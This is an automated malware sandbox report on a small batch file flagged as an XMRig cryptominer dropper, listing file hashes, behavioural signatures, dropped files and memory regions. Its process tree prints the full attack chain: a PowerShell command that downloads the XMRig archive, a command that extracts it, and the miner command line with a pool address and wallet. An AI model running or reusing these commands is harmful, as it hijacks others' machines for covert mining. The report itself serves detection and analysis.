Analysis

  • max time kernel
    1816s
  • max time network
    1841s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 14:43

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4280
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3232

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ea70cee308c461903cd3f796bb43a3c9

    SHA1

    0f66837f80db7fd53a228ba2515f516f86a91fd0

    SHA256

    7eba6f53b1d753ea1e1393a6d532980c7e72830f353dc4bc3575e7101414ab1c

    SHA512

    6256965c1061e817c18a3ead7d5a3231345bdd29bb48c68d7fafd4ab5dc7b568050c437b9277da851705f828f2a95458e4bdc78cf684fb831bdb180d99d73163

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4yhknkgf.rlz.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    2.3MB

    MD5

    31fd900041edd8716634f1ca6ca54ece

    SHA1

    c1b6df704f618a82d42ed06926048c60f8a4f7b2

    SHA256

    e4f629ece7ec85bab18729f6fcf9fd0c806c6cc1f34f8f9cfde7d50cb57355f4

    SHA512

    5798fb580d9e01ebf7efb01430b2efe3a07f3333f611bfe47bd87c7f726175a444859d5f16ebb93302d9069ed14c21761e9a17b70a2d816ad30868c2a323a7be

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    2.7MB

    MD5

    56a1277d026502d4befffdfaf358d7f9

    SHA1

    efc0d1728f906adf5b3f1a5b090188fe16655b0d

    SHA256

    2befbcede8638b5a194234aa5f2cc241f312dd4a7a08d65b09dc55b9e08d5956

    SHA512

    1e97bb0581d65b672c9ac5bdefa54b057dbd72c716f643e03cc994d18e89464bb5ff2ffa62b9da70ff8c914a64f16c7e5548f46b3462546fdbeb85694cafe9a4

  • memory/2220-4-0x000001CB623E0000-0x000001CB62402000-memory.dmp

    Filesize

    136KB

  • memory/2220-10-0x000001CB62490000-0x000001CB62506000-memory.dmp

    Filesize

    472KB

  • memory/2220-9-0x000001CB49FE0000-0x000001CB49FF0000-memory.dmp

    Filesize

    64KB

  • memory/2220-8-0x000001CB49FE0000-0x000001CB49FF0000-memory.dmp

    Filesize

    64KB

  • memory/2220-7-0x00007FFFD9A60000-0x00007FFFDA44C000-memory.dmp

    Filesize

    9.9MB

  • memory/2220-26-0x000001CB49FE0000-0x000001CB49FF0000-memory.dmp

    Filesize

    64KB

  • memory/2220-27-0x00007FFFD9A60000-0x00007FFFDA44C000-memory.dmp

    Filesize

    9.9MB

  • memory/2220-28-0x000001CB49FE0000-0x000001CB49FF0000-memory.dmp

    Filesize

    64KB

  • memory/2220-33-0x00007FFFD9A60000-0x00007FFFDA44C000-memory.dmp

    Filesize

    9.9MB

  • memory/3232-144-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-151-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-188-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-187-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-186-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-185-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-120-0x000001512FAD0000-0x000001512FAF0000-memory.dmp

    Filesize

    128KB

  • memory/3232-121-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-122-0x000001512FB20000-0x000001512FB60000-memory.dmp

    Filesize

    256KB

  • memory/3232-123-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-124-0x000001512FB60000-0x000001512FB80000-memory.dmp

    Filesize

    128KB

  • memory/3232-125-0x000001512FB80000-0x000001512FBA0000-memory.dmp

    Filesize

    128KB

  • memory/3232-126-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-127-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-128-0x000001512FB60000-0x000001512FB80000-memory.dmp

    Filesize

    128KB

  • memory/3232-129-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-130-0x000001512FB80000-0x000001512FBA0000-memory.dmp

    Filesize

    128KB

  • memory/3232-131-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-132-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-133-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-134-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-135-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-136-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-137-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-138-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-139-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-140-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-141-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-142-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-143-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-184-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-145-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-146-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-147-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-148-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-149-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-150-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-183-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-152-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-153-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-154-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-155-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-156-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-157-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-158-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-159-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-160-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-161-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-162-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-163-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-164-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-165-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-166-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-167-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-168-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-169-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-170-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-171-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-172-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-173-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-174-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-175-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-176-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-177-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-178-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-179-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-180-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-181-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/3232-182-0x00007FF6877C0000-0x00007FF6882C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4280-38-0x00007FFFD9A60000-0x00007FFFDA44C000-memory.dmp

    Filesize

    9.9MB

  • memory/4280-40-0x000001DD3B010000-0x000001DD3B020000-memory.dmp

    Filesize

    64KB

  • memory/4280-93-0x000001DD53680000-0x000001DD5368A000-memory.dmp

    Filesize

    40KB

  • memory/4280-80-0x000001DD536A0000-0x000001DD536B2000-memory.dmp

    Filesize

    72KB

  • memory/4280-66-0x000001DD3B010000-0x000001DD3B020000-memory.dmp

    Filesize

    64KB

  • memory/4280-41-0x000001DD3B010000-0x000001DD3B020000-memory.dmp

    Filesize

    64KB

  • memory/4280-117-0x00007FFFD9A60000-0x00007FFFDA44C000-memory.dmp

    Filesize

    9.9MB